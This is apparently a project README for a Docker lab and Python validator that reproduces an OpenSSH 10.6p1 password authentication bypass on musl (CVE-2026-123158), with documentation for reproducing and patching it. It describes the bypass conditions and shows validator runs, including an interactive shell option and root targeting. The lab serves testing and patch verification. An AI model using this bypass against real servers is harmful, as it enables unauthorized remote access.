
Docker A/B lab and Python validator reproducing the OpenSSH 10.6p1 musl password authentication bypass (CVE-2026-123158), with reproduction and patching docs.
Password authentication bypass in OpenSSH < 10.6p2 on musl and without
PAM. An account whose /etc/shadow field is literally * accepts a
login without knowing any password, provided another local account with a
$5$/$6$ hash exists from which sshd can borrow the salt.
This repository ships two containers identical except for one patch
(vulnerable 10.6p1 vs patched 10.6p2), a validator that demonstrates the
flaw deterministically, and complete documentation to reproduce it,
deploy it, and fix it.
┌──────────────────────────────┐ ┌──────────────────────────────┐
│ :2201 OpenSSH 10.6p1 │ │ :2202 OpenSSH 10.6p2 │
│ vulnerable │ │ parcheado │
│ locked_demo + control_user │ │ locked_demo + control_user │
└──────────────────────────────┘ └──────────────────────────────┘
bypass OK bypass rechazado
| target | command | verdict | exit |
|---|---|---|---|
vulnerable :2201 | ./exploit.py | VULNERABLE — authentication bypass confirmed | 0 |
patched :2202 | ./exploit.py -p 2202 | NOT VULNERABLE — bypass was not reproduced | 1 |
── Pruebas ───────────────────────────────────────────────────────────────────
paso descripción usuario len conn resultado verif ms
01 control positivo (credencial correcta) control_user 15 1 ACCEPTED ok 49
02 control negativo (cuenta con hash) control_user 300 2 REJECTED ok 52
03 objetivo con contraseña corta locked_demo 14 3 REJECTED ok 53
10 objetivo, 300 bytes, 1 solo paquete locked_demo 300 4 REJECTED info 51
11a priming: cachea la sal de pick_salt() locked_demo 14 5 REJECTED ok 58
11b bypass: 300 bytes en la misma conexión locked_demo 300 5 ACCEPTED ok 14
│ uid=1001(locked_demo) gid=1001(locked_demo) groups=1001(locked_demo)
│ Linux 6.17.10+kali-amd64 x86_64
Step 10 is proof that a single attempt is not enough: the bypass
requires two password packets on the same connection. The details are in
docs/reproduccion.md.
git clone [email protected]:D1se0/CVE-2026-123158.git
cd CVE-2026-123158
python3 -m venv .venv && . .venv/bin/activate && pip install -r requirements.txt
./setup.sh # build (~2-4 min) + arranque + verificación
./exploit.py # vulnerable -> VULNERABLE (exit 0)
./exploit.py -p 2202 # parcheado -> NO VULNERABLE (exit 1)
./ips.sh # IP interna y puerto publicado de cada contenedor
Requirements: Docker with compose (plugin or docker-compose), ~4 GB of free RAM to compile OpenSSH, and python3 with paramiko for the validator.
| document | content |
|---|---|
docs/reproduccion.md | the bug step by step, the code involved, why two attempts are needed, what is not reproduced, and how to verify it manually with ssh |
docs/despliegue.md | how the lab is built and started, verification, ips.sh, remote execution, troubleshooting, and cleanup |
docs/parcheo.md | the upstream fix (MIN_PASSWORD_HASH_LEN), updating per distribution, temporary mitigations, how to audit whether a server is vulnerable |
.
├── docker-compose.yml # dos servicios, puertos 2201/2202, healthchecks
├── setup.sh # build + up + espera healthy + verificación
├── exploit.py # validador (matriz de controles, --sweep, --json)
├── ips.sh # IPs internas y puertos publicados de los contenedores
├── requirements.txt # paramiko
├── vulnerable/ # OpenSSH 10.6p1 compilado desde tarball, sin PAM
│ ├── Dockerfile
│ ├── entrypoint.sh # crea cuentas y valida precondiciones
│ └── sshd_config
└── patched/ # OpenSSH 10.6p2, todo lo demás idéntico
exploit.py./exploit.py # [email protected]:2201
./exploit.py -p 2202 # contra el parcheado
./exploit.py --host 172.18.0.3 -p 22 # por IP interna del contenedor
./exploit.py --sweep # barrido 128..1025 bytes
./exploit.py --json informe.json -q # informe + solo veredicto
./exploit.py -u root # root también es alcanzable en el lab
./exploit.py --shell # tras confirmar, shell interactiva
--shell (or -i) requests a PTY from the server and leaves you an interactive session
inside the target, just like a normal ssh: prompt, window resize,
Ctrl-C to the remote process, and exit/Ctrl-D to leave.
| option | description |
|---|---|
host | SSH host (default 127.0.0.1) |
-p, --port | SSH port (default 2201) |
-u, --target-user | account with * in shadow (default locked_demo) |
-c, --control-user | account with a real password (default control_user) |
--control-password | password for that account (default LabPassword123!) |
-l, --length | length of the bypass password (default 300, useful 257–1024) |
--command | command after login (default id; uname -srm) |
-i, --shell | after confirming the bypass, opens an interactive shell (exit 2 if it can't) |
--sweep | tries 128, 256, 257, 300, 512, 1024, 1025 |
-t, --timeout | timeout per operation (default 10 s) |
-r, --retries | connection retries (default 2) |
--json PATH | JSON report with all attempts |
-q, --quiet | only the verdict |
-v, --verbose | additional detail |
--no-color | no color (also respects NO_COLOR) |
Exit codes: 0 bypass confirmed (and shell opened if requested) · 1
not reproduced · 2 inconclusive (environment error, inconsistent controls, or
shell that could not be opened). That lets you use it in CI:
./exploit.py && echo "still vulnerable".
ips.shDocker assigns a new IP every time a container is recreated. This script queries it live so you don't have to remember it:
./ips.sh # tabla: contenedor, rol, estado, IP interna, puerto, alcance
./ips.sh --json # JSON para scripts
./ips.sh --env # export LAB_VULN_HOST=... listo para `eval "$(./ips.sh --env)"`
| account | shadow | role |
|---|---|---|
control_user | hash $6$ (password LabPassword123!) | validator positive control and salt donor |
locked_demo | * | bypass target |
root | * | also reachable here because the lab uses PermitRootLogin yes |
The passwords and accounts are deliberately lab-only. Do not reuse
this sshd_config outside an isolated environment.
Educational and validation material, intended for local containers or your own lab machines. Do not point it at third-party systems: in many jurisdictions unauthorized access is a crime. The repository does not include any vulnerable binary, only instructions to build the public version from its official tarball and verify the flaw.
4353fdc43ef646c43a8dda7025cc1a898caf1482auth-passwd.c (sys_auth_passwd()), openbsd-compat/xcrypt.c (xcrypt(), pick_salt(), shadow_pw()), openbsd-compat/port-linux.c